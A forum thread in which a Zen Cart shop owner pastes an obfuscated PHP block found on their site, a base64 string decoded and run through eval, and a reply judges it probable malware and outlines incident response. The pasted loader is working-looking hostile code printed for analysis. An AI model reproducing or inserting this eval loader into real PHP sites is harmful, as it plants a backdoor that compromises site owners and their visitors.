Jump to content

Site infected or is this real code?


CherieV

Recommended Posts

I have a lot of garbly gook in my zen cart.  I am NOT a php programmer, but I do well enough with my ZenCart to manage.

 

I have a code that starts like this:

 

<?php /*versio:3.02*/ $GLOBALS["ktrmpz"]="PaW5pX3NldAYWxsb3dfdXJsX2ZvcGVuJVsoZGlzcGxheV9lcnJvcnMNmHJZmVkb3IvdGVzdF93ZWJuZXQYMy4wMgwhdGhhaDFOaWV0aGFpMnphaDZBaHIPQLaHR0cDovLwVzoUuSFRUUFMb2ZmUFJaHR0cHM6Ly8KfYPSFRUUF9IT1NUcgnZdW5pb24PVvmc2VsZWN0DBQVUUkVRVUVTVF9VUkkSWfTgU0NSSVBUX05BTUUBipUVVFUllfU1RSSU5HXSPwuXIoZGV0ZXJtaW5hdG9yUBnqLgxLmxvZwBseESFRUUF9ZX0FVVEgYmFzZTY0X2RlY29kZQfCvydmVyc2lvADLQcKLXBocAHSFRUUF9FWEVDUEhQkNYxCZb3V0HCjPEUb2sbtSFRUUF9VU0VSX0FHRU5UGLAyNmZ29vZ2xlLHlhaG9vLGJhaWR1LGJpbmdib3QsbXNuYm90LHlhbmRleAxdYQvHYWxqZXIuYml6VEpZmFzdGFkZHouY29tHL3czLnBocD91PQTaPJms9UqtLJnQ9cGhwJnA9rHagTHJnY9YUZXZhbChnenVuY29tcHJlc3MoYmFzZTY0X2RlY29kZSgiZUp5TlYvbHZvOGdTL2xjNnlCcGh3V0NEd2NmazhaUm8xdk1tMG13U2VaeVZWck1Sd3RBRWJDNXorSXJ5djc4cXVqRTRzVWY3azNFZlZWOWRYMVVISGhHdlhPb0ZNWFZGd2FVRnphSWd0b3NrRTdyZFZ4TEF0bGZHVGhFa3NVVjNRVjdrWXJGY2h1VStjY1MrcE1wcXY0dm5ib0k0c0hKYU5KdER5WkMxZmxjbWF2ZjZ6TFpxU0ZwZlZpZHdvQThIM2tpdGhWZ2JtbnVKbldhYmFMY1dPKzR5OHZlQlRENTFYdnpBWCs2SlNlNmZmdnpva2xmU3JFU0JreVZGRUZHeHlFb0s4akphbEZsTVBKcDR0WWgzV2haSlZzWVVydEM5TDNiQ0xOdUZvS1dUNWdmSDNvQkZuWTJ6aW5ZSkNCZWNNZ3VGYTlJcEV4cllTMWpoZTRwZ2dWMEZiS0diS2h0ZndFYkJEc05rYThFbHkwdFNHZ3RkWW9JVVZVRE1ITmlORjRRVVQxdE9FaGMwQnJjS2ZsR2tYM285Z1NpRTQ4RXZCa2dod3FldDZiMDRRbVVHRFhONkxqUWNJa2FrRTc3RStXSU5hRy80cWdoWFFWeTJ0dW1KRFJDWEpFVXJPcXUwOE9tcGdYUkhIZGk2NFJkRkxsWW1YNTltUHg0ZTV4Yjh5T1JmWUhkS2hINVp6dmZwN1IvVG1VdzhHMno3N2NuWmRQNDB1NS9QYnU5L2ZzTWJQT1NYTDN4OXVMK2ZmcDNQNy82Y1Bqek5aVEpFUitUMmZ1OGNLdmN3cyt0N0tBb2piamxoa3RQV0tqcWNSbW14Ri9sbGNITWpSaEN1Mytybzh0VTZVcGlxTEFkUm5aY256Z3J6b3NtNmNSOHlMMThWV2ViaXgzYnBSYUZNREs2enpsOFVreWVyblIwemRlUzBJZ0MybDVhWUJIWEpDUCtienNrcmo4S2JvR0FZOGhYNVBwOC85bFNsRHd2L1pQL0U4UE05eVlzdkJENWVPYVMzYWdQZHRBcWRZTDBBRlkvZkg2MkhuNHJRRXhUOC9HczYrM24zY0g5RzZWTk9zOCszTDVEVFgwQTV1MS9KcTJWdWZjaDk4ZXBDblhPanV1VFRKeUsrcTJ2eXVkbitEOUc2alVNVWRDeVVVd3VJcW8ycldybnhlQ0NQTk5ESmtpZytSR0FVM2FWaDRsSlJPT0tUYTVGd3JveVJzdmpwWC8zbmhsZUM2TXc5ZHE3UytYWkNOYXZWZHI5ZEo1U1dDd2o2MHR2dTNTMmNMOUpWVXV6QUNPcjRDUkgrdGdTRmJ5ckNGL2htK3p4SXArVGxyZzVoNm1ZUlNoWTc2YUdNRm42M0laZU85WE02Z3dqOTRsdlBlTHV6UFNTaHR6TWJDbFlsZlNSckEvU0liK2QybVRWN2c2R2tEK1dxVU1yQTMwYTAyUm9ieU93ajNHTEowbXdOZ2ZSMWJBa3NjWU84OGw4TnBzMzlLcEQvcVB0Y3Q1aWJqNGVNdmpRMjhBeTVNa21qUVpPZ1dIUkdjTyswcTRPSnBFSlBVWGtJK0FIRnpJdXNTSUNTYVhaT0VZQ2VqR1ZWNjJKOHZTU2p0dU5EMFZsWVBIWk9lRWpNL3pieFFzUWdNMDBnMjlpaTNEaHVJS25nMVJGMnhVckdMeTdnK2NUeDZtZ2tnNXNhSnI4a2I2eURUU041L0h0NXFsVExld04wNHRWRnowTmNoMkNzZ2E1SFB2bDRRaDFKNDFGMW91TEdqM0dCNEEwbjFRR004dVVncXpBZUREUlpIVjdVTlFGZnFTclRwYlNDclBiQmFHTW9hMTFvSW1jZ2dMbmFRSzBrWDc4ck5Wb2VvbVdST0ZsaEp5SW15U3FMRjV1RDZRWlpiQU9OV05hM3V4OVR5K29xZjl6Tm9DYzh6UDRHOFkrM3MxdjRoSXgyOTg1MmdYUjNtMlgyWGlSQ3o2V2JYdTVIVU9CQ3I0alNudUpCdy81Y3hzR3VXYnI3T3ExWEdyakMvTTlINGZsMFpYcGNtdDcvMVQ1Ui93VlVKeXY4UXFVSHBSOW5qQklJeUhZdFdMYkFOZ0hHS0c2cUlyQ2p4Ny9iOURPZk1YcnNVbjVoMTRIRXA3QjNVZ2JjSVZnSTBkS040aFhQL3l2ZUNma2l1cHA5S3VaWno3SUpLYmUyV1ZEWUMrRC85azBHQnVjT3RuaE5GcUIvVlROcDNWWFpzZXNxeDZ1S0Nac21pZzBCaU9lVnNGbTJOV2lxbUV4Vkh0YWpabDF6bmZWdXZVeFhaazBVNTFLdFZUQUFkQm43aTJWazNrU3VVU3RXZUdQa0ZLcHd2a1I2Zk5rbWgySmp2a3RLcFpYblVFdGpGZkpjNFpLdlA4TFhnZFRVRVlQUEphTHM0TEFvL1IyNmpLMjFwQTRsYlRTb3VQc0N0VTdHTUh1enVqTk5yaG10SytCem1UYThvdlUxMEEydXcwYkttaFR2UmFjdHJWRTlIZ0g3VFlDdDVMcWxOTGpHbXFRTjljcFkxb21hTGFobVVEUUJ6UFhJazlETjRoQ2FITkxaL2dCR1RDYWNYdUFCUWpkMldOLzdsM0MxL2hDSWVBRHRSRzUxbUlrMGdPWTA2TEpVMlFXRnlMS21rMnpYL2hhbnJXODRvdUlJR2NTcGJTTk4vcjdEQUU1cFVyMkdUbHBNUFh3MDdwc0FzV25vb2hhZVNWOGFEUHF5QVQydnFzSjhGeFpPOEs0TE1TVHljZmZLTkN1UVZjNDY0Y0lOcThtVFRaMGZFa2JyVjVRK1BISERTTkw3RTRDQ3llYmxMK3RpZ3lKS3JEa0hVWjhMQ2ZDNXdmSUtoMmdQYXgwS25RRUEyVGpIZFdHZUtXQzRZVUQ1SHlZZi9sVHo0WEZnWXhjUkFITzlPWWNoOElRYmFsYkIxMVJ0V0pVTlJWSTZ2dGpVQ3hDbkU1WXV0WkxZb2EzMUZoblU0WVczR3VwQjE5SE04OFA4MkEyT2h1cWFKaG5Wek5EeW1LRkx1bDUxcGJyeVRrR2dRRTQ0TFRmeUpmWTB3em1kdEJxaERrUFFFT3BQaDVwaDU1cW82Uk5ER3VpeWZ1U09WamtCdklGcUlMNHp0V1lNcThMQmk2eEVNY0JsR2F4VFVQM3VXY3djQUtOdjh6SysvdWhjeHRMOHBmT1J3S0MyTllNUkdCL04vZytDalQzTiIpKSk7at";        if (!function_exists('tjjluyoc')){function tjjluyoc($a, $b){$c=$GLOBALS['ktrmpz'];$d=pack('H*','626173653634'.'5f6465636f6465'); return $d(substr($c, $a, $b));};eval(tjjluyoc(561,3272));};?><?php

 

 

My gut says this is way wrong?  thoughts?

Link to comment
https://forums.phpfreaks.com/topic/290858-site-infected-or-is-this-real-code/
Share on other sites

They've decoded a similar script at Web Hosting Talk, and it was clearly malware. So, yes, that's most probably an infection.

 

Do not try to manually “clean” the server by removing those code snippets. You never know what is still lurking somewhere else.

 

Instead, take the site offline, change all admin credentials (passwords, SSH keys etc.) and look for obvious backdoors like new user accounts. If you can find out how the attack happened, that's of course helpful, but don't spend too much time on it. After this, you basically have to backup your current data, nuke the server, reinstall it with a secure(!) configuration and then carefully restore the website. Check for security updates of Zen Card.

 

Of course this is easier said than done. Do you have a friend who can help you? Anybody who knows how to manage a webserver? 

Archived

This topic is now archived and is closed to further replies.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.